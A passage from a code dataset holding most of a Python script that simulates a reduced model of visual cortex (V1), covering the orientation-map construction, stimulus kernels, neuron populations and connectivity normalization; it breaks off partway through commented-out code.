main()","sub_path":"twitter_reader.py","file_name":"twitter_reader.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59203489","text":"import numpy as np\r\nimport itertools\r\nimport matplotlib.pyplot as plt\r\nimport argparse\r\n\r\nfrom internalpopulation import RecurrentPopulation\r\nfrom externalpopulation import ExternalPopulation\r\nfrom simulation import Simulation\r\nfrom connection import Connection as Connection\r\n\r\n\r\n\"\"\"\r\nedited by SYX\r\n\r\ninitialization and configuration\r\nvflag for dawson function \r\nfin for \\rho_{Eq}\r\n\"\"\"\r\n# python RunVoltageMoment.py -stimulus 1\r\nparser = argparse.ArgumentParser(description='Stimuli & Parameters for the V1 Reduced Model Simulation')\r\n\r\nparser.add_argument('-see', type=float, dest='see', default=1.25, help='Weight between short range Excitatory to Excitatory ')\r\nparser.add_argument('-sei', type=float, dest='sei', default=-0.84, help='Weight between short range Inhibitory to Excitatory ')\r\nparser.add_argument('-sie', type=float, dest='sie', default=1.30, help='Weight between short range Inhibitory to Excitatory ')\r\nparser.add_argument('-sii', type=float, dest='sii', default=-0.65, help='Weight between short range Inhibitory to Inhibitory ')\r\nparser.add_argument('-lee', type=float, dest='lee', default=3.745, help='Weight between long range Excitatory to Excitatory ')\r\nparser.add_argument('-lie', type=float, dest='lie', default=6.388, help='Weight between long range Excitatory to Inhibitory')\r\nparser.add_argument('-leef', type=float, dest='leef', default=0.84, help='Weight between long range Excitatory to Excitatory(fast) ')\r\nparser.add_argument('-lief', type=float, dest='lief', default=0.82, help='Weight between long range Excitatory to Inhibitory(fast) ')\r\n\r\nparser.add_argument('-stimulus', type=int, dest='stimulus', default=0, help='Different types of stimuli')\r\n\r\n\r\nargs = parser.parse_args()\r\n\r\n\r\n# intuitive network structure\r\nNet_settings = {'hyp_num': 15,\r\n 'xhyp':5,\r\n 'yhyp':3,\r\n 'xn':4,\r\n 'yn':4,\r\n 'dxx_hyp':500,\r\n 'nmax': 0,\r\n 'Final_time':160,\r\n 'dt':0.1,\r\n 'dv':1e-3}\r\n# here we use orientation and phase\r\nAmpHyp = Net_settings['xn'] * Net_settings['yn'] /2.0\r\nFun_map_settings = {'ori_num':4,\r\n 'phase_num':10}\r\n# cell numbers within identical orientation hypercolumn\r\nCell_type_num = {'e':int(1024/AmpHyp),\r\n 'i':int(1024/AmpHyp)}\r\n\r\nori_2d = np.zeros((Net_settings['xhyp'] * Net_settings['xn'],Net_settings['yhyp'] * Net_settings['yn']))\r\nori = np.zeros(Net_settings['hyp_num'] * Net_settings['xn'] * Net_settings['yn'])\r\ninterval_ori = 180.0/Fun_map_settings['ori_num']\r\n\"\"\"\r\nthis part is for generating orientation map (pin-wheel structure)\r\nif np.mod(Net_settings['nx'],2) == 0,upper side cut off = np.floor(Net_settings['nx']/2), cen = cut-off - 0.5 \r\n[0:cut-off] upper side; while [cut-off:] bottom side\r\nif np.mod(Net_settings['nx'],2) == 1, upper side cut off = np.floor((Net_settings['nx']-1)/2), cen = cut-off\r\n[0:cut-off] upper side; maintain unchanged [cut-off]; while bottom side [cut-off+1:]\r\n\"\"\"\r\nnbin = Net_settings['xn']\r\nif np.mod(nbin,2) == 0:\r\n cut_off = np.floor(nbin/2.0)\r\n cen = cut_off - 0.5\r\n (uc,up,bottom) = (int(cut_off),int(cut_off),int(cut_off))\r\nif np.mod(nbin,2) == 1:\r\n cut_off = np.floor((nbin-1)/2.0)\r\n cen = cut_off\r\n (uc,up,bottom) = (int(cut_off),int(cut_off),int(cut_off+1))\r\nfor i in np.arange(1):\r\n for p in np.arange(Net_settings['xn']):\r\n for q in np.arange(Net_settings['yn']):\r\n ttindex = q + p * Net_settings['yn'] + i * Net_settings['yn'] * Net_settings['xn']\r\n oriabs = (np.arctan2(p-cen,q-cen)) * 180.0 / np.pi # ttindex\r\n if oriabs<0.0:\r\n oriabs = oriabs + 360.0\r\n oriabs = oriabs * 0.5\r\n oriabs = np.floor(oriabs/interval_ori) # for integer not real DEGREE\r\n if oriabs == Fun_map_settings['ori_num']:\r\n oriabs = oriabs - 1\r\n ori[ttindex] = oriabs\r\n ori_2d[p,q] = ori[ttindex] # only half(or even smaller) of the total \r\n\r\nif(Net_settings['xhyp'] > 1):\r\n # 2nd hypercolum! maybe next line~\r\n # unchanged\r\n # because of the next line, so we should use x from 'xn' to 2*'xn' y stay in 0:yn\r\n ori_2d[Net_settings['xn']+uc,:Net_settings['yn']] = ori_2d[uc,:Net_settings['yn']]\r\n start = 1*Net_settings['xn'] * Net_settings['yn']\r\n ori_2d[Net_settings['xn']*1:Net_settings['xn']*1+up,:Net_settings['yn']] = ori_2d[Net_settings['xn']-1:bottom-1:-1,:Net_settings['yn']]\r\n ori_2d[Net_settings['xn']*1+bottom:Net_settings['xn']*2,:Net_settings['yn']] = ori_2d[up-1::-1,:Net_settings['yn']]\r\n\r\n # then here are two templates for 2*k / 2*k+1\r\n # for 2*k\r\n ori_template_2k = np.squeeze(ori_2d[:Net_settings['xn'],:Net_settings['yn']])\r\n ori_template_2k1 = np.squeeze(ori_2d[Net_settings['xn']:2*Net_settings['xn'],:Net_settings['yn']])\r\n \r\n # only take effects on x(long) axis, means being constrainted in the first row\r\n for ixhyp in range(2,Net_settings['xhyp']):\r\n if np.mod(ixhyp,2) == 0:\r\n ori_2d[Net_settings['xn']*ixhyp:Net_settings['xn']*(ixhyp+1),:Net_settings['yn']] = ori_template_2k#np.reshape(ori_template_2k,(3,1))\r\n if np.mod(ixhyp,2) == 1:\r\n ori_2d[Net_settings['xn']*ixhyp:Net_settings['xn']*(ixhyp+1),:Net_settings['yn']] = ori_template_2k1#np.reshape(ori_template_2k1,(3,1))\r\n\r\nif Net_settings['yhyp']>1:\r\n # 2nd hypercolum! maybe next column~\r\n # unchanged\r\n # because of the next line, so we should use x from 'xn' to 2*'xn' y stay in 0:yn\r\n ori_2d[:,Net_settings['yn']+uc] = ori_2d[:,uc]\r\n ori_2d[:,Net_settings['yn']*1:Net_settings['yn']*1+up] = ori_2d[:,Net_settings['yn']-1:bottom-1:-1]\r\n ori_2d[:,Net_settings['yn']*1+bottom:Net_settings['yn']*2] = ori_2d[:,up-1::-1]\r\n\r\n # then here are two templates for 2*k / 2*k+1\r\n # for 2*k\r\n ori_template_2k = np.squeeze(ori_2d[:,:Net_settings['yn']])\r\n ori_template_2k1 = np.squeeze(ori_2d[:,Net_settings['yn']:2*Net_settings['yn']])\r\n \r\n # only take effects on y(short) axis\r\n for iyhyp in range(2,Net_settings['yhyp']):\r\n if np.mod(iyhyp,2) == 0:\r\n ori_2d[:,Net_settings['yn']*iyhyp:Net_settings['yn']*(iyhyp+1)] = ori_template_2k\r\n if np.mod(iyhyp,2) == 1:\r\n ori_2d[:,Net_settings['yn']*iyhyp:Net_settings['yn']*(iyhyp+1)] = ori_template_2k1\r\nori = np.squeeze(np.reshape(ori_2d,(1,Net_settings['xn']*Net_settings['yn']*Net_settings['hyp_num'])))\r\n\r\n''' simple version orientation map'''\r\n'''\r\nori_interval = np.pi/Net_settings['xn']/Net_settings['yn']\r\nNet_settings['nmax'] = Net_settings['hyp_num'] * Net_settings['xn'] * Net_settings['yn']\r\nori = np.zeros(Net_settings['nmax'])\r\nfor ihyp in range(Net_settings['hyp_num']):\r\n for ipatch in range(Net_settings['xn'] * Net_settings['yn']):\r\n idx_tt = ihyp * Net_settings['xn'] * Net_settings['yn'] + ipatch\r\n ori[idx_tt] = int(ipatch)\r\n'''\r\n\r\ndef create_functional_columns(Structure_Net,Functional_Map,ori):\r\n nmax = Structure_Net['hyp_num'] * Structure_Net['xn'] * Structure_Net['yn']\r\n Structure_Net['nmax'] = nmax\r\n\r\n hypindx = np.arange(Structure_Net['xhyp'])\r\n hypindy = np.arange(Structure_Net['yhyp'])\r\n CGindx = np.arange(Structure_Net['xn'])\r\n CGindy = np.arange(Structure_Net['yn'])\r\n Orientation_map = {}\r\n Hypercol_map = {}\r\n Hypercol = np.zeros((nmax,3))\r\n Phase_map = {}\r\n index_2_loc = np.zeros((nmax,3))\r\n\r\n tt_hypx = Structure_Net['yhyp'] * Structure_Net['yn'] * Structure_Net['xn']\r\n tt_linx = Structure_Net['yhyp'] * Structure_Net['yn']\r\n tt_lxhy = Structure_Net['yn']\r\n for ihypx in hypindx:\r\n for ix in CGindx:\r\n for ihypy in hypindy:\r\n for iy in CGindy:\r\n ttindex = iy + ihypy * tt_lxhy + ix * tt_linx + ihypx * tt_hypx\r\n ttindex_xax = ix + ihypx * Structure_Net['xn']\r\n ttindex_yax = iy + ihypy * Structure_Net['yn']\r\n # checking ?\r\n ttindex_check = ttindex_xax * Structure_Net['yn'] * Structure_Net['yhyp'] + ttindex_yax\r\n if (ttindex_check!=ttindex):\r\n print('This chessboard-grid is wrong .')\r\n #else:\r\n #print('Good chessboard-grid.')\r\n ttindex_hyp = ihypx * Structure_Net['yhyp'] + ihypy\r\n\r\n Hypercol_map[(ttindex,'e')] = ttindex_hyp\r\n Hypercol_map[(ttindex,'i')] = ttindex_hyp\r\n Hypercol[ttindex,2] = ttindex_hyp\r\n Hypercol[ttindex,0] = ihypx\r\n Hypercol[ttindex,1] = ihypy\r\n\r\n Phase_map[(ttindex,'e')] = np.random.randint(Fun_map_settings['phase_num'],size = 1)\r\n Phase_map[(ttindex,'i')] = np.random.randint(Fun_map_settings['phase_num'],size = 1)\r\n Orientation_map[(ttindex,'e')] = ori[ttindex]\r\n Orientation_map[(ttindex,'i')] = ori[ttindex]\r\n index_2_loc[ttindex,0] = ttindex_hyp\r\n index_2_loc[ttindex,1] = ttindex_xax\r\n index_2_loc[ttindex,2] = ttindex_yax\r\n return (Structure_Net,Hypercol,Phase_map,Orientation_map,index_2_loc)\r\n\r\n#******************** period distance **********************************************\r\ndef preprocess_for_distance_period(index_2_loc,dxx,dyy,Net_settings,Fun_map_settings):\r\n nmax = Net_settings['nmax']\r\n # for X distance\r\n period_x = Net_settings['xn']\r\n global_x = np.reshape(np.squeeze(index_2_loc[:,1]),(nmax,1))\r\n global_xmatrix = np.repeat(global_x,nmax,axis=1)\r\n global_xdis = np.abs(global_xmatrix - global_xmatrix.T)\r\n global_xdis = np.minimum(global_xdis, period_x - global_xdis)**2*dxx\r\n # for Y distance\r\n period_y = Net_settings['yn']\r\n global_y = np.reshape(np.squeeze(index_2_loc[:,2]),(nmax,1))\r\n global_ymatrix = np.repeat(global_y,nmax,axis=1)\r\n global_ydis = np.abs(global_ymatrix - global_ymatrix.T)\r\n global_ydis = np.minimum(global_ydis, period_y - global_ydis)**2*dyy\r\n global_dist = np.sqrt(global_xdis + global_ydis)\r\n \r\n return (global_xdis,global_ydis,global_dist)\r\n\r\n# DISTANCE MATRIX !\r\n#******************** cut-off distance **********************************************\r\ndef preprocess_for_distance(index_2_loc,dxx,dyy,Net_settings,Fun_map_settings):\r\n nmax = Net_settings['nmax']\r\n # for X distance\r\n global_x = np.reshape(np.squeeze(index_2_loc[:,1]),(nmax,1))\r\n global_xmatrix = np.repeat(global_x,nmax,axis=1)\r\n global_xdis = np.abs(global_xmatrix - global_xmatrix.T)**2*dxx\r\n # for Y distance\r\n global_y = np.reshape(np.squeeze(index_2_loc[:,2]),(nmax,1))\r\n global_ymatrix = np.repeat(global_y,nmax,axis=1)\r\n global_ydis = np.abs(global_ymatrix - global_ymatrix.T)**2*dyy\r\n global_dist = np.sqrt(global_xdis + global_ydis)\r\n \r\n return (global_xdis,global_ydis,global_dist)\r\n\r\ndef normal_function(x, mean=0, sigma=1.0):\r\n \"\"\"\r\n Returns the value of probability density of normal distribution N(mean,sigma) at point `x`.\r\n \"\"\"\r\n _normalization_factor = np.sqrt(2 * np.pi)\r\n\r\n# return np.exp(-np.power((x - mean)/sigma, 2)/2) / (sigma * _normalization_factor)\r\n return np.exp(-np.power((x - mean)/sigma, 2)/1.0) / (sigma * _normalization_factor) # do not divide 2.0\r\n\r\ndef circular_dist(a, b, period):\r\n \"\"\"\r\n Returns the distance between a and b (scalars) in a domain with `period` period.\r\n \"\"\"\r\n return np.minimum(np.abs(a - b), period - np.abs(a - b))\r\n\r\n# Create visual stimuli\r\ndef utilhvsvec(x):\r\n f = np.maximum(x,0)\r\n return f\r\n\r\ndef visual_temporal_kernel(t1,t2,dt,tfinal):\r\n tt = np.arange(0,tfinal,dt)\r\n f = tt/(t1**2)*np.exp(-tt/t1) - tt/(t2**2)*np.exp(-tt/t2)\r\n return f\r\n\r\ndef input_convolution(t_pulse,dt,tfinal,nparam,tparam):\r\n ntt = int(tfinal/dt)\r\n npp = int(t_pulse/dt)\r\n square_pulse = np.ones(npp)\r\n t_resp = np.zeros((nparam,ntt))\r\n if args.stimulus < 1:\r\n # number of different temporal kernels\r\n for itk in range(nparam):\r\n t1 = tparam[itk,0]\r\n t2 = tparam[itk,1]\r\n tkernel = visual_temporal_kernel(t1,t2,dt,tfinal+5)\r\n t_k = np.convolve(tkernel,square_pulse*dt,mode = 'full')\r\n t_resp[itk,:] = t_k[:ntt]\r\n # normalize\r\n t_resp[itk,:] = t_resp[itk,:] / np.max(np.squeeze(t_resp[itk,:]))\r\n t_resp[itk,:] = utilhvsvec(t_resp[itk,:]) \r\n else: \r\n # number of different temporal kernels\r\n for itk in range(nparam):\r\n t1 = tparam[itk,0]\r\n t2 = tparam[itk,1]\r\n if itk<1 :\r\n square_bright = np.ones(npp*3)\r\n tkernel = visual_temporal_kernel(t1,t2,dt,tfinal+5)\r\n t_k = np.convolve(tkernel,square_bright*dt,mode = 'full') \r\n else:\r\n tkernel = visual_temporal_kernel(t1,t2,dt,tfinal+5)\r\n t_k = np.convolve(tkernel,square_pulse*dt,mode = 'full')\r\n t_resp[itk,:] = t_k[:ntt]\r\n # normalize\r\n t_resp[itk,:] = t_resp[itk,:] / np.max(np.squeeze(t_resp[itk,:]))\r\n t_resp[itk,:] = utilhvsvec(t_resp[itk,:])\r\n\r\n t_brightened = t_resp[0,:] - 0.65*t_resp[1,:]\r\n t_brightened = t_brightened/np.max(t_brightened)\r\n t_brightened*= 0.32\r\n t_darken = t_resp[1,:] - 0.65*t_resp[0,:]\r\n t_darken = t_darken/np.max(t_darken)\r\n t_darken *= 0.32\r\n # heaviside function\r\n t_brightened = utilhvsvec(t_brightened)\r\n t_darken = utilhvsvec(t_darken)\r\n return t_resp,t_brightened,t_darken\r\n\r\nNet_settings,Hypm,Pham,Orim,index_2_loc = create_functional_columns(Net_settings,Fun_map_settings,ori) \r\nNet_settings['nmax'] = Net_settings['xn'] * Net_settings['yn'] * Net_settings['hyp_num']\r\n# MODIFYING 'nmax' in Net_settings, which is used in latter code\r\n\r\n\"\"\"\r\nusing in real python code 2018/04/02 version 0\r\n\"\"\"\r\n# Simulation settings:\r\nt0 = 0.0\r\ndt = Net_settings['dt']\r\ntf = Net_settings['Final_time']\r\ndv = Net_settings['dv']\r\nverbose = True\r\n\r\nupdate_method = 'approx'\r\napprox_order = 1\r\ntol = 1e-14\r\n\r\n(dt, tfinal, t_pulse) = (dt, tf, 68)\r\nnparam = 2\r\n# (t1on,t2on,t1off,t2off) = (0.014/0.056*0.036,0.036,0.014/0.056*0.036,0.036)#(0.014,0.056,0.014/0.056*0.036,0.036)\r\ntparam = np.zeros((nparam,2))\r\ntparam[0,0] = 14.0\r\ntparam[0,1] = 56.0\r\ntparam[1,0] = 14.0/56.0*36.0\r\ntparam[1,1] = 36.0\r\n\r\nactive_resp,active_brightened,active_darken = input_convolution(t_pulse,dt,tfinal,nparam,tparam)\r\n# here, not only we use specific locations to receive visual stimuli, but also particular stimuli are chosen to \r\n# be assignedlike assigning brightened and darken stimuli respectively.\r\n\r\nstimuli_collection = {}\r\ntt_delay = 10.0\r\ntmp_brightened = np.zeros_like(active_brightened) \r\ntmp_darken = np.zeros_like(active_darken) \r\nnnn = len(active_brightened)\r\nnnt_delay = int(tt_delay/dt)\r\n\r\ntmp_brightened[nnt_delay:] = active_brightened[:(nnn-nnt_delay)] \r\nactive_brightened = tmp_brightened\r\ntmp_darken[nnt_delay:] = active_darken[:(nnn-nnt_delay)] \r\nactive_darken = (tmp_darken/0.3)*0.90\r\n\r\n\r\nif args.stimulus==0:\r\n # artificial time delay\r\n t_delay_brightened = 0.0\r\n tmp_brightened = np.zeros_like(active_brightened) \r\n nnn = len(active_brightened)\r\n nnt_delay = int(t_delay_brightened/dt)\r\n tmp_brightened[nnt_delay:] = active_brightened[:(nnn-nnt_delay)] \r\n active_brightened = 1.00 * tmp_brightened\r\n \r\n stm_region = np.zeros((Net_settings['xn'] *Net_settings['xhyp'] ,Net_settings['yn'] *Net_settings['yhyp']))\r\n stm_cue = np.zeros_like(stm_region)\r\n \r\n stm_region[11:17,3:4*2+1] = 1\r\n stm_cue[4:2*4+2,3:4*2+1] = 1\r\n '''\r\n # plotting stimulus\r\n plt.figure()\r\n plt.subplot(2,1,1)\r\n plt.imshow(stm_region)\r\n plt.subplot(2,1,2)\r\n plt.imshow(stm_cue)\r\n '''\r\n stm_region = np.reshape(stm_region,(4*5*4*3,1))\r\n stm_cue = np.reshape(stm_cue,(4*5*4*3,1))\r\n \r\n id_stm = np.where(stm_region)\r\n id_cue = np.where(stm_cue)\r\n \r\n stimuli_collection['brightened'] = active_brightened\r\n stimuli_collection['darken'] = active_darken\r\n \r\n tt_dark = 6*6 # 2 Hypercolumns would receive cue stimulus (flashed dark square)\r\n tt_bright = 6*6 #Net_settings['nmax'] - tt_dark # remaining Hypercolumns would receive long stationary bar\r\n \r\n stimuli_type =['darken']\r\n for i in range(1,tt_dark):\r\n stimuli_type.append('darken')\r\n for i in range(tt_bright):\r\n stimuli_type.append('brightened')\r\n \r\n # >>> activation location\r\n active_location = [0]\r\n for i in range(6*6):# dark\r\n idloc = id_cue[0][i]\r\n active_location.append(idloc)\r\n \r\n for i in range(6*6):# bright\r\n idloc = id_stm[0][i]\r\n active_location.append(idloc)\r\n \r\n active_type = ['b']\r\n for i in range(1,12*6):#1,Net_settings['nmax']):\r\n active_type.append('b')\r\n\r\nif args.stimulus==1: \r\n # artificial time delay\r\n t_delay_brightened = 30.0\r\n tmp_brightened = np.zeros_like(active_brightened) \r\n nnn = len(active_brightened)\r\n nnt_delay = int(t_delay_brightened/dt)\r\n tmp_brightened[nnt_delay:] = active_brightened[:(nnn-nnt_delay)] \r\n active_brightened = 1.00 * tmp_brightened\r\n \r\n stm_region = np.zeros((Net_settings['xn'] *Net_settings['xhyp'] ,Net_settings['yn'] *Net_settings['yhyp']))\r\n stm_cue = np.zeros_like(stm_region)\r\n\r\n stm_region[3:4 * 4 + 1, 3:4 * 2 + 1] = 1\r\n stm_cue[3:2 * 4 + 1, 3:4 * 2 + 1] = 1\r\n plt.figure()\r\n plt.subplot(2, 1, 1)\r\n plt.imshow(stm_region)\r\n plt.subplot(2, 1, 2)\r\n plt.imshow(stm_cue)\r\n stm_region = np.reshape(stm_region, (4 * 5 * 4 * 3, 1))\r\n stm_cue = np.reshape(stm_cue, (4 * 5 * 4 * 3, 1))\r\n \r\n id_stm = np.where(stm_region)\r\n id_cue = np.where(stm_cue)\r\n \r\n stimuli_collection['brightened'] = active_brightened\r\n stimuli_collection['darken'] = active_darken\r\n \r\n tt_dark = 6 * 6 # 2 Hypercolumns would receive cue stimulus (flashed dark square)\r\n tt_bright = 8 * 6 # Net_settings['nmax'] - tt_dark # remaining Hypercolumns would receive long stationary bar\r\n \r\n stimuli_type = ['darken']\r\n for i in range(1, tt_dark):\r\n stimuli_type.append('darken')\r\n for i in range(tt_bright):\r\n stimuli_type.append('brightened')\r\n \r\n active_location = [0]\r\n for i in range(14 * 6): # Net_settings['nmax']):\r\n idloc = id_stm[0][i]\r\n active_location.append(idloc)\r\n \r\n active_type = ['b']\r\n for i in range(1, 14 * 6): # 1,Net_settings['nmax']):\r\n active_type.append('b')\r\n\r\ndef input_signal_stream(active_location, active_type, active_resp,t_properties,Net_settings):\r\n if args.stimulus ==0:\r\n ''' id_cue '''\r\n stm_cue = np.zeros((Net_settings['xn'] *Net_settings['xhyp'] ,Net_settings['yn'] *Net_settings['yhyp']))\r\n stm_cue[4:2*4+2,3:4*2+1] = 1\r\n plt.figure()\r\n plt.imshow(stm_cue)\r\n stm_cue = np.reshape(stm_cue,(4*5*4*3,1))\r\n ''' end for id_cue '''\r\n if args.stimulus == 1:\r\n ''' id_cue !!! '''\r\n stm_cue = np.zeros((Net_settings['xn'] *Net_settings['xhyp'] ,Net_settings['yn'] *Net_settings['yhyp']))\r\n stm_cue[3:2*4+1,3:4*2+1] = 1\r\n plt.figure()\r\n plt.imshow(stm_cue)\r\n stm_cue = np.reshape(stm_cue,(4*5*4*3,1))\r\n ''' end for id_cue ''' \r\n \r\n (dt, tfinal) = t_properties\r\n ntt = int(tfinal/dt)\r\n # Create base-visual stimuli\r\n External_stimuli_dict = np.ones(ntt) * 0.07\r\n # Create populations:\r\n background_population_dict = {}\r\n internal_population_dict = {}\r\n CG_range = np.arange(Net_settings['nmax'])\r\n\r\n # base activities\r\n for layer, celltype in itertools.product(CG_range, ['e', 'i']): \r\n background_population_dict[layer,celltype] = ExternalPopulation(External_stimuli_dict,dt, record=False)\r\n internal_population_dict[layer, celltype] = RecurrentPopulation(dt = dt,v_min=-1.0, v_max=1.0, dv=dv, update_method=update_method,\r\n approx_order=approx_order, tol=tol, hyp_idx = 0,ei_pop = celltype,NumCell = Cell_type_num[celltype])\r\n # choose mode, hypercolumn or subpopulation\r\n mode = active_location[0]\r\n if(mode == 0): # subpopulation\r\n print('line 564 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>')\r\n print('Total actived regions: ',len(active_type))\r\n for iactive in range(len(active_type)):\r\n stm_type = stimuli_type[iactive]\r\n # particular subpopulation (not hypercolumn)\r\n isubpopulation = active_location[iactive+1]\r\n iloc = isubpopulation\r\n \r\n # cell type ? 'b' or 'e'/'i'\r\n celltype = active_type[iactive]\r\n if(celltype == 'b'):\r\n if(stm_cue[iloc,0] ==1 ):\r\n print('cue location: ',iloc)\r\n if args.stimulus < 1:\r\n particular_stimulus = 0.0*stimuli_collection['brightened']+1.0*stimuli_collection['darken']\r\n else:\r\n particular_stimulus = 1.0*stimuli_collection['brightened']+1.0*stimuli_collection['darken']\r\n else:\r\n if(stm_type == 'brightened'):\r\n particular_stimulus = stimuli_collection['brightened']#np.zeros_like(stimuli_collection[stm_type])\r\n else:\r\n particular_stimulus = np.zeros_like(stimuli_collection[stm_type])\r\n temp_inp= External_stimuli_dict[:ntt] + np.squeeze(particular_stimulus[:ntt])\r\n background_population_dict[iloc,'e'] = ExternalPopulation(temp_inp,dt,record=False)\r\n background_population_dict[iloc,'i'] = ExternalPopulation(temp_inp,dt,record=False)\r\n \r\n else:\r\n if(id_cue[iloc,0] ==1 ):\r\n particular_stimulus = stimuli_collection['brightened']+stimuli_collection['darken']\r\n else:\r\n particular_stimulus = stimuli_collection[stm_type]\r\n temp_inp = External_stimuli_dict[:ntt] + np.squeeze(particular_stimulus[:ntt])\r\n background_population_dict[iloc,celltype] = ExternalPopulation(temp_inp,dt,record=False)\r\n\r\n if(mode == -1): # hypercolumn\r\n for iactive in range(len(active_type)):\r\n # no matter which particular location is target population, the characteristics of\r\n # particular stimuli should be determined already!\r\n\r\n # particular stimulus\r\n stm_type = stimuli_type[iactive]\r\n # particular target regions\r\n ihyper = active_location[iactive+1]\r\n ilocst = ihyper * Net_settings['xn'] * Net_settings['yn']\r\n iloced = (ihyper+1) * Net_settings['xn'] * Net_settings['yn']\r\n iloc_range = np.arange(ilocst,iloced)\r\n\r\n # cell types ? 'b' or 'e/i'\r\n celltype = active_type[iactive]\r\n if (celltype == 'b'):\r\n particular_stimulus = stimuli_collection[stm_type]\r\n temp_inp = External_stimuli_dict[:ntt] + np.squeeze(particular_stimulus[:ntt])\r\n for ilayer, itype in itertools.product(iloc_range, ['e', 'i']):\r\n # both excitatory and inhibitory\r\n background_population_dict[ilayer,itype] = ExternalPopulation(temp_inp,dt,record=False)\r\n\r\n else:\r\n particular_stimulus = stimuli_collection[stm_type]\r\n temp_inp = External_stimuli_dict[:ntt] + np.squeeze(particular_stimulus[:ntt])\r\n for ilayer, itype in itertools.product(iloc_range, celltype):\r\n # only subpopulation\r\n background_population_dict[ilayer,itype] = ExternalPopulation(temp_inp,dt,record=False)\r\n \r\n population_list = list(background_population_dict.values()) + list(internal_population_dict.values())\r\n return (background_population_dict,internal_population_dict,population_list)\r\n\r\nbackground_population_dict,internal_population_dict,population_list = input_signal_stream(active_location,active_type,active_resp,[dt,tfinal],Net_settings)\r\n \r\n# PARAMETERS FOR CONNECTIVITY\r\n(denexc,deninh,axnexc,axninh) = (50.0,50.0,200.0,100.0)\r\nsr_exc2exc = np.sqrt(denexc * denexc + axnexc * axnexc)\r\nsr_inh2exc = np.sqrt(denexc * denexc + axninh * axninh)\r\nsr_exc2inh = np.sqrt(deninh * deninh + axnexc * axnexc)\r\nsr_inh2inh = np.sqrt(deninh * deninh + axninh * axninh)\r\n\r\nsr_sigma = {'short_range_exc_exc':sr_exc2exc,\r\n 'short_range_exc_inh':sr_exc2inh,\r\n 'short_range_inh_exc':sr_inh2exc,\r\n 'short_range_inh_inh':sr_inh2inh} # source2target\r\nlr_sigma = {'long_range_exc_exc': 1.00*1000,\r\n 'long_range_exc_inh': 1.00*1000}\r\nNE_source = Cell_type_num['e']\r\nNI_source = Cell_type_num['i']\r\n# >>>>>>>>>>>>>>>>>>> About 'NORMALIZATION' >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.\r\nAmpHyp = Net_settings['xn'] * Net_settings['yn'] /2.0 # 2 is original CG patches in identical orientation hypercolumn\r\nAmpOri = Fun_map_settings['ori_num'] / 2.0\r\ng_norm = {'short_range_exc_exc':args.see/NE_source/Net_settings['xn']/Net_settings['yn'],#0.24/NE_source,\r\n 'short_range_exc_inh':args.sie/NE_source/Net_settings['xn']/Net_settings['yn'],#0.33/NE_source,\r\n 'short_range_inh_exc':args.sei/NI_source/Net_settings['xn']/Net_settings['yn'],#-0.44/NI_source,\r\n 'short_range_inh_inh':args.sii/NI_source/Net_settings['xn']/Net_settings['yn'],#-0.09/NI_source,\r\n \r\n 'long_range_exc_exc_fast':args.leef/NE_source/AmpHyp * AmpOri,#0.364/NE_source,#0.426/NE_source,#0.24/NE_source,\r\n 'long_range_exc_inh_fast':args.lief/NE_source/AmpHyp * AmpOri,##0.396/NE_source,#0.33/NE_source,\r\n \r\n 'long_range_exc_exc':args.lee/NE_source/AmpHyp * AmpOri,#2.46,#1.64,#2.56,#2.46,#1.26,#1.28,\r\n 'long_range_exc_inh':args.lie/NE_source/AmpHyp * AmpOri}#2.86}#1.96}#2.86}#2.86}#1.64}#1.96}\r\n\r\n# FUNCTIONS FOR CONNECTIVITY\r\ndef cortical_to_cortical_connection_normalization(global_dist,sr_sigma,lr_sigma,ori_map,hyp_map_tt,Net_settings,Fun_map_settings):\r\n # for short-range connections normalization\r\n norm_cortical_connection = {}\r\n nmax = Net_settings['nmax']\r\n # for long range connextions in different hypercolumns\r\n nori = Fun_map_settings['ori_num']\r\n # initialize\r\n norm_cortical_connection['lr','exc2exc'] = np.zeros((nmax,nmax))\r\n norm_cortical_connection['lr','exc2inh'] = np.zeros((nmax,nmax))\r\n \"\"\"\r\n \"\"\"\r\n # the 1st algorithm, using old code hyp_map == np.squeeze(hyp_map_tt[:,2])\r\n # the second algorithm, using identical long-range connections hypx_map = np.squeeze(hyp_map_tt[:,0])\r\n # hypy_map = np.squeeze(hyp_map_tt[:,1])\r\n hyp_map = np.squeeze(hyp_map_tt[:,2])\r\n hypx_map = np.squeeze(hyp_map_tt[:,0])\r\n hypy_map = np.squeeze(hyp_map_tt[:,1])\r\n # total normalized value\r\n lrhyp_xdis,lrhyp_ydis,lrhyp_dist,cen_amp = create_longrange_connection(Net_settings,lr_sigma)\r\n\r\n# # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> the 1st algorithm >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n# for ihyp in range(Net_settings['hyp_num']): # within identical orientation hyper-column\r\n# for iori in range(nori):\r\n# index_hyper = np.where(hyp_map == ihyp)\r\n# index_orien = np.where(ori_map == iori)\r\n# index_target = np.intersect1d(index_hyper,index_orien)\r\n# index_source = np.setdiff1d(index_orien,index_hyper)\r\n# ee_curr = np.zeros((nmax,nmax))\r\n# \r\n# [x,y] = np.meshgrid(index_target,index_source)\r\n# \r\n# xtarget,xsource = hypx_map[index_target],hypx_map[index_source]\r\n# ytarget,ysource = hypy_map[index_target],hypy_map[index_source]\r\n# \r\n# [xhypx,xhypy] = np.meshgrid(xtarget,xsource)\r\n# xhyp_dist = np.abs(xhypx-xhypy)\r\n# xhyp_dist= xhyp_dist.astype(int)\r\n# \r\n# [yhypx,yhypy] = np.meshgrid(ytarget,ysource)\r\n# yhyp_dist = np.abs(yhypx-yhypy)\r\n# yhyp_dist= yhyp_dist.astype(int)\r\n# \r\n# ee_cen = cen_amp['lr','exc2exc']\r\n# ee_curr[x.T,y.T] = ee_cen[xhyp_dist.T,yhyp_dist.T]\r\n# \r\n# norm_cortical_connection['lr','exc2exc'] = norm_cortical_connection['lr','exc2exc'] + ee_curr\r\n# \r\n# ei_curr = np.zeros((nmax,nmax))\r\n# [x,y] = np.meshgrid(index_target,index_source)\r\n# \r\n# xtarget,xsource = hypx_map[index_target],hypx_map[index_source]\r\n# ytarget,ysource = hypy_map[index_target],hypy_map[index_source]\r\n# \r\n# [xhypx,xhypy] = np.meshgrid(xtarget,xsource)\r\n# xhyp_dist = np.abs(xhypx-xhypy)\r\n# xhyp_dist= 